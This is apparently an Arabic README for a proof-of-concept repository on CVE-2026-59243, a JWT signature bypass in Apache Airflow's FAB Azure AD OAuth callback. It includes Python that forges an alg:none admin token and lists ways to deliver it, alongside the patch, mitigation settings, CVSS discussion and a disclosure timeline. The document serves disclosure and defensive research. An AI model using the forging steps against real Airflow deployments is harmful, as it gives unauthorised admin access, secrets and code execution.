
إثبات المفهوم لثغرة CVE-2026-59243 يعرض تجاوز توقيع JWT في استدعاء OAuth الخاص بـ Azure AD في Apache Airflow FAB Auth Manager بسبب إعداد افتراضي غير آمن.
الكورية: README.ko.md
apache-airflow-providers-fab==3.7.3يقوم FAB (Flask App Builder) Auth Manager في Apache Airflow بفك تشفير رموز id_tokens الخاصة بـ Azure AD OAuth في الدالة _decode_and_validate_azure_jwt(). وكانت تلك الدالة تحتوي على verify_signature بقيمة افتراضية False.
# providers/fab/.../override.py (الأسطر 2331–2341 وقت الإبلاغ)
def _decode_and_validate_azure_jwt(self, id_token: str) -> dict[str, str]:
verify_signature = self.oauth_remotes["azure"].client_kwargs.get(
"verify_signature", False, # ← القيمة الافتراضية هي False
)
if verify_signature:
# التحقق من JWK عبر authlib، وإرجاع المطالبات
...
# المسار الافتراضي: تخطي التحقق من التوقيع بالكامل
return jwt.decode(id_token, options={"verify_signature": False})
ما لم يضبط المشغّل صراحةً verify_signature: true في client_kwargs، فإن التحقق من التوقيع يكون معطّلًا طوال تدفق تسجيل الدخول. أي رمز يصل، تُقبل مطالباته كهوية المُرسِل.
أما تكامل Authentik الموجود في نفس الملف فتبلغ قيمته الافتراضية True:
# providers/fab/.../override.py:414–416 (Authentik)
verify_signature = self.oauth_remotes["authentik"].client_kwargs.get(
"verify_signature", True, # ← هذا الافتراضي هو True
)
نفس الملف، نفس الشكل، افتراضي معاكس. هذا التباين هو ما نبهني أولًا إلى أن الافتراضي الخاص بـ Azure لم يكن خيارًا سياسيًا.
افترض أن Airflow مُنشأ مع FAB Auth Manager + Azure AD OAuth، وclient_kwargs دون تعديل. (التثبيت الافتراضي.)
قم بتزوير JWT بخوارزمية alg: none مع أي مطالبات تريدها:
import base64, json
def b64u(d):
return base64.urlsafe_b64encode(json.dumps(d).encode()).rstrip(b"=").decode()
header = b64u({"alg": "none", "typ": "JWT"})
payload = b64u({
"sub": "[email protected]",
"email": "[email protected]",
"name": "Administrator",
"roles": ["Admin"],
"iss": "https://login.microsoftonline.com/<tenant>/v2.0",
"aud": "<airflow-client-id>",
"exp": 9999999999,
})
forged = f"{header}.{payload}." # نقطة في النهاية: توقيع فارغ
قم بتسليم هذا الرمز إلى رد الاتصال OAuth (/login/azure/authorized أو أي مكان يُركّب فيه التكامل). تختلف طريقة التسليم الفعلية حسب النشر: هجوم MITM عبر وكيل إنهاء TLS مُهيأ بشكل خاطئ، أو مُعاد توجيه مفتوح مع تحقق متساهل من redirect_uri، أو الوصول المباشر إلى رد الاتصال مع state مُصمم. اختر ما يوفره لك الهدف.
بمجرد وصول الرمز إلى رد الاتصال، يستدعي FAB الدالة _decode_and_validate_azure_jwt، ويسقط في المسار الافتراضي، ويسلّم المطالبات المزورة إلى الجلسة. وبما أنك أرسلت roles: ["Admin"]، فأنت الآن مسجّل الدخول كمسؤول. في Airflow، هذا يعني فعليًا كل شيء: الاتصالات، المتغيرات، مفتاح Fernet، وتنفيذ كود عشوائي كعامل (worker) عبر دفع DAG جديد.
ثلاثة تقييمات مختلفة وصلت إلى ثلاثة أماكن مختلفة، وهذا في الواقع مفيد:
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:HCVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:HCVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:H/VI:H/VA:H/SC:L/SI:L/SA:Lمتوسطالفرق بين تقييمي وتقييم NVD هو مقياس واحد: AC. لقد وضعته H لأنني كنت أفكر في مسار تسليم MITM بشكل ضيق. أما محلل NVD فذهب إلى AC:L، معتبرًا أي طريقة لإيصال id_token أمام رد الاتصال (بما في ذلك إساءة استخدام تدفق OAuth العادي) قدرة عادية للمهاجم. عند التأمل، فإن AC:L هو القراءة الأكثر دفاعًا عنها — فأنت لست بحاجة صارمة لأن تكون على المسار لإساءة استخدام فحص توقيع معطّل. لهذا يصل NVD/Strix إلى 9.8، وهو التقييم الذي سيظهر في معظم قواعد بيانات CVE والماسحات الضوئية.
تقييم Apache بـ متوسط هو حكم منفصل بناءً على نموذج المخاطر الخاص بهم، مرجّح أكثر نحو "مدى شيوع هذا الشرط المسبق في النشرات الفعلية" بدلًا من سقف التأثير. لا يتعارض مع 9.8 — إنه مجرد سؤال مختلف يُجاب عنه.
حرف واحد.
- verify_signature = self.oauth_remotes["azure"].client_kwargs.get("verify_signature", False)
+ verify_signature = self.oauth_remotes["azure"].client_kwargs.get("verify_signature", True)
محاذاة الافتراضي الخاص بـ Azure مع Authentik. إذا احتاج شخص ما فعلًا إلى إيقاف التحقق من التوقيع (مثل JWKS ذاتي التوقيع على نسخة Azure AD محلية)، فلا يزال بإمكانه الاشتراك مع verify_signature: false في client_kwargs. شكل أفضل بكثير من الشحن غير الآمن افتراضيًا.
تم الدمج في 2026-07-07 كـ PR #69374 / commit 54259ae. صدر في apache-airflow-providers-fab==3.7.3 بتاريخ 2026-07-28.
إذا لم تستطع الترقية فورًا، فاضبطه صراحةً في webserver_config.py:
OAUTH_PROVIDERS = [
{
"name": "azure",
"client_kwargs": {"verify_signature": True, ...},
# ...
},
]
بعد ذلك: أبقِ ردود اتصال OAuth HTTPS فقط مع قائمة سماح صارمة لـ redirect_uri، وقم بتدوير أي بيانات اعتماد محفوظة في اتصالات Airflow إذا كان لديك سبب للاعتقاد بأنك تعرضت للهجوم.
Docker + pwntools مُجهزان تحت poc/:
poc/server.py يعزل المسار الضعيف (jwt.decode(..., options={"verify_signature": False})) في تطبيق Flask صغير.poc/exploit_airflow_jwt.py يزور JWT، ويضرب رد الاتصال، ويُفرغ أسرارًا مؤقتة من عرض المسؤول.poc/Dockerfile و poc/docker-compose.yml يُشغّلان الهدف على 127.0.0.1:5002 (ربط على الحلقة المحلية).أمر واحد:
cd poc/
./run.sh
إذا كنت تشغّل هذا على جهاز مشترك، تحقق من ربط compose قبل البدء.
غيّرت عمليات إعادة هيكلة غير ذات صلة أرقام الأسطر بين التقرير الأصلي وmain الحالي. مسار الملف لم يتغير.
الملف: providers/fab/src/airflow/providers/fab/auth_manager/security_manager/override.py
CVE-2026-59243/
├── README.md (هذا الملف)
├── README.ko.md النسخة الكورية
├── LICENSE MIT
├── check_advisory.sh مراقب النشر (مُبقى لإعادة الاستخدام؛ خامل حاليًا)
├── patch/fix.diff إصلاح الحرف الواحد (مرسى على أسطر وقت التقرير)
└── poc/ Docker + pwntools PoC
[email protected]MIT (LICENSE). الـ PoC مخصص لإعادة الإنتاج والبحث الدفاعي فقط. لا توجهه إلى أنظمة لا تملكها أو ليس لديك إذن كتابي لاختبارها.
| الرمز | وقت التقرير (2026-03-18) | في main المُصلح (2026-07-29) |
|---|
_decode_and_validate_azure_jwt() | 2331–2341 (افتراضي False، ضعيف) | 2428–2438 (افتراضي True، مُصلح) |
_get_authentik_token_info() | 414–416 (افتراضي True، آمن) | 419–420 (افتراضي True، آمن) |
| التاريخ | الحدث |
|---|
| 2026-03-18 | تم الإبلاغ إلى [email protected] |
| 2026-03 حتى 2026-07 | تأخير من جانب Apache؛ أكد عضو لاحقًا في PMC الخاص بـ Airflow أن التقرير الأولي فُقد |
| 2026-07-03 | أول رد |
| 2026-07-04 | تم تعيين CVE-2026-59243، وأُرسلت معلومات الإشادة |
| 2026-07-07 | تم دمج الإصلاح (commit 54259ae، PR #69374) |
| 2026-07-28 | صدر apache-airflow-providers-fab==3.7.3 |
| 2026-07-29 | سجل CVE الخاص بـ MITRE PUBLISHED، ونُشر إشعار Apache إلى [email protected] |
| 2026-07-29 | تحول هذا المستودع إلى عام |